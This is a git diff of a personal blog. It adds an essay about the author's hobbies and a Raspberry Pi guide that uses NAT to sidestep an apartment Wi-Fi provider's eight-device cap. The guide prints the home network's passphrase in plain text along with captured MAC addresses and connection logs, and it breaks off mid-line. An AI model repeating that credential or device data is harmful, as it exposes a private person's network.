+NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc +62eMm1khV99Gljg+XbAG6A0KI7nO5TS464/JkU1+d/inWjXmSkocTep9p1H/M+nt +7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE+AcGR7cb9CxicTuzs8K+kLzQBQSep +oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B+5rhDP4uT +6Q1OmbB4xs7jM+WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= +=kuAP +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/hobbies.md b/static/sources/posts/hobbies.md new file mode 100644 index 0000000..1426fa7 --- /dev/null +++ b/static/sources/posts/hobbies.md @@ -0,0 +1,172 @@ ++++ +title = 'Hobbies' +date = 2025-10-10T07:04:54Z +draft = false +description = "My point of view on hobbies" ++++ + +When I started my PhD, I was told "get yourself a hobby!" many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies. + +For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. + +Let's go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end. + +After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take "active" sport classes. +So... getting into a chess class was conditional. + +I have't really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening. + +In high-school I didn't really have any hobbies. +I did become interested in Basketball, but nothing serious. +It's funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame. + +Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called "Karsoogh" for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don't remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active. + +I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman's obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research. + +During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don't have any images from the project, but the code can be found [here](https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402). + +I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don't go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby! + +After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it's the story of my PhD pretty much now. + +Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn't pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said "if you're not a hard worker it won't workout for you", and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It's just distroying me mentally. +I am me, and the best me ever to exist. +And that's how it should be. + +Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited. + +Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don't like to play it with me because I pay attention to "everything". +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don't get to play! :-P +One of my all time favorite games is "Zaar" (a persian game that was discontinued), and a game kinda similar to it called "The Night Cage". +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool. + +Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I'm a loner! (Drat. :P) +I love to "not follow recipes" and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I'm open to cooking anything and everything! + +I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I'm alone, I rather do my other hobbies. + +And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD + +3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I'm quite a noob at it still. +I will probably share some of the things I've made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It's so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It's just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it's part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition! + +And now let's talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I've been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I'm a proud member, trying to contribute as much as my time allows me to. +I'm not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog. + +And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won't get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it! + +With all this being said, I think that's it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I'm into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!! + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/hobbies.md.asc b/static/sources/posts/hobbies.md.asc new file mode 100644 index 0000000..0bc1192 --- /dev/null +++ b/static/sources/posts/hobbies.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+ +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= +=42yP +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/house_upgrade.md b/static/sources/posts/house_upgrade.md new file mode 100644 index 0000000..d8c13df --- /dev/null +++ b/static/sources/posts/house_upgrade.md @@ -0,0 +1,685 @@ +--- +title: "I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)" +date: 2025-11-23 +draft: false +tags: ["raspberry pi", "wifi", "iot", "networking", "hostapd", "dnsmasq"] +description: "Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support." +author: "Iman Alipour" +ShowToc: true +TocOpen: true +--- + +## The Day My Wi-Fi Said “Eight Is Enough” + +My apartment Wi-Fi (ASK4) has a hard cap of **8 devices**. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put **all the IoT stuff behind a Raspberry Pi** that shows up as **one** device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. + +This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience. + +--- + +## Hardware: what I picked and why + +- **Raspberry Pi 4 (4GB)** + It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better. + +- **ALFA AWUS036ACHM (USB Wi-Fi)** + Reliable, **AP-mode** friendly on Linux, and happy with `hostapd`. I used it to **broadcast** my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short **USB 3 extension** so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz). + +- **Fast USB-C power supply** (official Pi 4 or 5V/3A equivalent) + Wi-Fi spikes current draw; brown-outs cause random gremlins. + +- **16–32 GB microSD**, **heatsinks**, **ventilated case** + The Pi 4 appreciates a bit of airflow. + +- **(Optional) Ethernet cable** + If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio. + +--- + +## What this setup actually does + +- The Pi connects to the building’s **ASK4 Wi-Fi** as a **client** (`wlan0`). +- The ALFA dongle creates a new access point called **`IoT_hub`** (`wlx…` interface) with password `Iman8118`. +- Devices join `IoT_hub`. The Pi does **NAT**, so upstream sees **one MAC address** (the Pi), not dozens of gadgets. Device limit: defeated. +- **Avahi mDNS reflector** lets services like **AirPlay/HomeKit** be discoverable across the two subnets without touching the managed router. +- If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., **Tailscale**) to reach `192.168.50.0/24` from anywhere. + +--- + +## Setup details (the friendly version) + +### 1) Access point with hostapd +I broadcast a simple WPA2 network on **2.4 GHz** (best compatibility). Channel **1/6/11**—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy. + +```ini +interface=wlx00c0cab7ab29 +ssid= +country_code=DE +hw_mode=g +channel=6 +ieee80211n=1 +wmm_enabled=1 +# Don't require HT or you'll reject some tiny IoT clients: +require_ht=0 +wpa=2 +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP +wpa_passphrase= +``` + +### 2) DHCP on the IoT side (dnsmasq) +Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet. + +```bash +interface=wlx00c0cab7ab29 +bind-interfaces +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h +dhcp-option=3,192.168.50.1 +dhcp-option=6,1.1.1.1,8.8.8.8 +port=0 # leave port 53 to systemd-resolved +log-dhcp +``` + +### 3) Routing + NAT (nftables) +This makes every downstream device appear as the Pi upstream: + +```bash +table inet filter { + chain input { + type filter hook input priority filter; policy accept; + ct state established,related accept + iif "lo" accept + iif "wlan0" accept + iif "wlx00c0cab7ab29" accept + udp dport 5353 accept # mDNS + counter drop + } + chain forward { + type filter hook forward priority filter; policy accept; + ct state established,related accept + iif "wlx00c0cab7ab29" oif "wlan0" accept + iif "wlan0" oif "wlx00c0cab7ab29" accept + } + chain output { type filter hook output priority filter; policy accept; } +} +table ip nat { + chain postrouting { + type nat hook postrouting priority srcnat; policy accept; + oif "wlan0" masquerade + } +} +``` + +### 4) mDNS across subnets (Avahi) +The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4: + +```bash +[server] +allow-interfaces=wlan0,wlx00c0cab7ab29 +[reflector] +enable-reflector=yes +``` + +I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale + +Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4. + +Now some random questions that I looked up in internet: + +1. How many devices can this really support? + +Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama. + +If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable. + +2. What speeds should I expect? + +- LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I'm golden! ^^ + +- Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit. + +- Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy. + +3. Why these choices? +- 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility. + +- WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it. + +- 20 MHz channel prevents older or power-saving devices from flaking out. + +- Avahi reflector avoids any changes to the building’s router and still lets discovery work. + +- NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely. + +## Troubleshooting + +- `hostapd` **masked/disabled** → + ```bash + sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd + ``` + +- `dnsmasq` can’t start because of **port 53** → + set `port=0` in `/etc/dnsmasq.d/*.conf` and let systemd-resolved keep DNS. + +- **“Station does not support mandatory HT PHY”** in `hostapd` logs → + add `require_ht=0` (and keep `ieee80211n=1`) in your `hostapd.conf`. + +- AirPlay/HomeKit don’t show up across subnets → + ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed: + - `/etc/avahi/avahi-daemon.conf` has: + ```bash + [server] + allow-interfaces=wlan0,wlx00c0cab7ab29 + [reflector] + enable-reflector=yes + ``` + - firewall allows: + ```bash + udp dport 5353 accept + ``` + +- Weak signal / flaky joins → + use a short **USB 3 extension** to move the ALFA away from the Pi and cables; + scan and switch to a cleaner **2.4 GHz** channel (1/6/11), keep width at **20 MHz**. + +- Clients connect but no internet → + verify IP forward & NAT: +```bash +sudo sysctl net.ipv4.ip_forward +``` + +If it's 0, enable it permanently and reload +```bash +echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf +sudo sysctl --system +``` + +Verify the nftables NAT rule exists (masquerade out via wlan0) +```bash +sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p' +``` + +Add it if missing +```bash +sudo nft add table ip nat +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }' +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade' +``` + +Persist nftables (Ubuntu) +```bash +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +sudo systemctl enable --now nftables +``` + + +## Quick service sanity checks + +### hostapd (AP) +```bash +sudo systemctl status hostapd --no-pager +sudo journalctl -u hostapd -n 60 --no-pager +iw dev wlx00c0cab7ab29 info +iw dev wlx00c0cab7ab29 station dump +``` + +### dnsmasq (DHCP on IoT side) +```bash +sudo systemctl status dnsmasq --no-pager +sudo journalctl -u dnsmasq -n 80 --no-pager +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true +tail -n 50 /var/lib/misc/dnsmasq.leases +``` + +### Avahi (mDNS reflector) +```bash +grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf +sudo systemctl status avahi-daemon --no-pager +sudo journalctl -u avahi-daemon -n 60 --no-pager +``` + + +## Basic connectivity tests from a client on IoT_hub + +### got DHCP? +```bash +ip addr show +ip route +cat /etc/resolv.conf +``` + +### can you reach the Pi and the internet? +```bash +ping -c 3 192.168.50.1 +ping -c 3 1.1.1.1 +ping -c 3 google.com +``` + +### DNS works end-to-end? +```bash + +dig +short _airplay._tcp.local @224.0.0.251 -p 5353 +``` +(Or use a Bonjour browser app to confirm the HomePod is discoverable.) + + +## If AirPlay/HomeKit discovery is flaky across subnets + +### make sure mDNS is allowed both directions on the Pi +```bash + +sudo nft add rule inet filter input udp dport 5353 accept +sudo nft add rule inet filter forward udp dport 5353 accept +sudo sh -c 'nft list ruleset > /etc/nftables.conf' +``` + +### restart Avahi cleanly and re-announce +```bash +sudo systemctl restart avahi-daemon +sudo journalctl -u avahi-daemon -n 40 --no-pager +``` + +### from the Pi, watch mDNS traffic on both sides (you should see queries/answers) +```bash +sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv +``` + +(in another terminal:) +```bash +sudo tcpdump -ni wlan0 udp port 5353 -vvv +``` + + +## Throughput + airtime sanity (optional) + +### simple iperf3 (install on Pi and a client) +```bash +sudo apt-get update && sudo apt-get install -y iperf3 +``` +(on the Pi:) `iperf3 -s` +(on a client:) `iperf3 -c 192.168.50.1 -P 3 -t 10` + +### check channel utilization/interference (from Pi) +```bash +sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p' +``` +(if busy, try channel 1 or 11 in hostapd.conf and restart hostapd) + + +## Scaling tips (lots of tiny IoT devices) + +### hostapd tweaks (add to hostapd.conf, then restart) +(reduce management overhead slightly; keep conservative for compatibility) +```bash +beacon_int=100 +dtim_period=2 +wmm_enabled=1 +ap_isolate=0 +max_num_sta=256 # logical cap; real limit is airtime/driver +``` + +```bash +sudo systemctl restart hostapd +``` + +### if some ESP/low-power clients are sticky or nap too hard: +(device-side) disable aggressive power saving if supported +(AP-side) keep channel width at 20 MHz and `require_ht=0` for legacy clients + + +## “Clients connect but no internet” quick checklist + +### Pi has a default route via upstream? +```bash +ip route | grep default +``` + +### NAT counters are increasing when clients surf? +```bash +sudo nft list chain ip nat postrouting -a +``` + +### connections tracked? +```bash +sudo conntrack -L -o extended | head -n 40 +``` + +### last resort: bounce the pieces +```bash +sudo systemctl restart hostapd dnsmasq avahi-daemon +sudo systemctl restart NetworkManager || true +sudo systemctl restart nftables +``` + +## Network Traffic (embedded from captures) + +For fun, and curiousity! + +### 1) DHCP leases (who joined the IoT network) +```bash +1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc +``` + +### 2) Top talkers by bytes (hosts table) +```bash +192.168.50.233,7346 +192.168.50.118,7216 +192.168.50.131,7216 +17.253.53.203,7040 +54.217.122.41,6271 +192.168.50.216,5392 +192.168.50.104,3058 +192.168.50.189,2278 +17.242.218.132,1802 +192.168.50.134,1750 +192.168.50.196,1653 +3.122.71.119,639 +18.196.19.65,570 +161.117.178.131,391 +17.253.53.201,148 +17.57.146.25,90 +10.172.72.196,66 +224.0.0.251,0 +224.0.0.2,0 +255.255.255.255,0 +``` + +### 3) Heaviest flows (src, dst, proto, dport, bytes) +```bash +192.168.50.202,192.168.50.131,TCP,59903,402 +192.168.50.202,192.168.50.118,TCP,59807,402 +161.117.178.131,192.168.50.134,TCP,58246,391 +192.168.50.216,192.168.50.202,UDP,5353,336 +192.168.50.202,192.168.50.189,UDP,5353,312 +192.168.50.202,192.168.50.196,UDP,5353,234 +17.253.53.203,192.168.50.202,TCP,64726,222 +192.168.50.216,17.57.146.25,TCP,5223,172 +192.168.50.216,192.168.50.233,UDP,5353,162 +192.168.50.202,192.168.50.104,UDP,5353,156 +17.253.53.201,192.168.50.202,TCP,64727,148 +192.168.50.202,17.253.53.201,TCP,443,132 +192.168.50.216,224.0.0.251,IP,0,92 +192.168.50.216,224.0.0.2,IP,0,92 +17.57.146.25,192.168.50.216,TCP,64544,90 +192.168.50.216,192.168.50.118,UDP,5353,75 +192.168.50.216,192.168.50.131,UDP,5353,75 +192.168.50.216,192.168.50.134,UDP,5353,75 +192.168.50.216,10.172.72.196,TCP,59593,70 +10.172.72.196,192.168.50.216,TCP,51638,66 +``` + +### 4) Conntrack snapshot (active connections inventory) +```bash +ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 +ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 +ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 +ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 +ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 +ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 +ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 +ipv4 2 